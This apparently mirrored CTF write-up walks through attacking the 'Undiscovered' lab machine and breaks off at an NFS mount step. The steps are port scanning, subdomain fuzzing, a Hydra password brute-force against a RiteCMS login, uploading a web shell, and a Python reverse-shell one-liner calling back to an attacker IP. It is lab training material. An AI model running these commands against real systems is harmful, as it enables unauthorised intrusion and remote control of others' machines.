ctfmirror

click to go main site
let i4 = document.documentElement, j3 = ["light", "dark"]; function k4(b5) { var c5; (Array.isArray(a2) ? a2 : [a2]).forEach((a3) => { let c6 = a3 === "class", d4 = c6 && f3 ? e3.map((a4) => f3[a4] || a4) : e3; c6 ? (i4.classList.remove(...d4), i4.classList.add(f3 && f3[b5] ? f3[b5] : b5)) : i4.setAttribute(a3, b5); }), c5 = b5, h4 && j3.includes(c5) && (i4.style.colorScheme = c5); } if (d3) k4(d3); else try { let a3 = localStorage.getItem(b4) || c4, d4 = g5 && a3 === "system" ? window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light" : a3; k4(d4); } catch { } })("class","theme","system",null,["light","dark"],null,true,true)
search
GitHubPsMapExec

Undiscovered

hashtag
Nmap

sudo nmap 10.10.144.20 -p- -sS -sV   

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.18
111/tcp   open  rpcbind  2-4 (RPC #100000)
2049/tcp  open  nfs      2-4 (RPC #100003)
35619/tcp open  nlockmgr 1-4 (RPC #100021)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
circle-info

Add undiscovered.thm to /etc/hosts.

Browsing port 80 takes us to the following page below.

From here I checked directories with dirsearch.py and was unable to discover anything of interest.

Checking NFS also proved futile as I was unable to show any mounts. From here we can check for sub domains with wfuzz.

wfuzz -c -f sub-fighter -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://undiscovered.thm" -H "Host: FUZZ.undiscovered.thm" -t 42 --hl 9

As we have results for multiple sub domains we should look for the key difference which is the lines returned where deliver and booking are of interest. Add both of these to the /etc/hosts file.

<IP> booking.undiscovered.thm
<IP> deliver.undiscovered.thm

Viewing booking.undiscovered.thm in the browser:

http://booking.undiscovered.thm/

And deliver.undiscovered.thm:

http://deliver.undiscovered.thm/

From here I ran enumeration with dirsearh.py against both sub domains and was unable to get anything from booking.undiscovered.thm. I was however able t get results on deliver.undiscovered.thm.

python3 dirsearch.py -u deliver.undiscovered.thm -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 75 --full-url

Over on /cms I tried logging in with the CMS default credentials of admin:admin.

I was however unsuccessful. I then caught the request with Firefox and used this to build a bruteforce attempt with Hydra.

hydra -l admin -P /usr/share/wordlists/rockyou.txt  deliver.undiscovered.thm  http-post-form "/cms/index.php:username=^USER^&userpw=^PASS^:User unknown or password wrong"

After a short while we get a valid response in Hydra.

Using searchsploit we can see RiteCMS 2.2.1 has a couple of authenticated RCE exploits.

LogoRiteCMS 2.2.1 - Authenticated Remote Code ExecutionExploit Databasechevron-right

As per the listed steps head to Adminsitration > File Manager and upload a web shell.

Once uploaded you will be given a direct link to the file. As per below we now have RCE.

I then set a netcat listener on my attacking machine and then run the following command in the webshell.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.3.108",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Where we retrieve a proper reverse shell.

From I then transferred over linpeas. After we find the following below.

We can mount the /home/william directory on our attacking machine. On the attacking machine run the commands below:

mkdir /mountpoint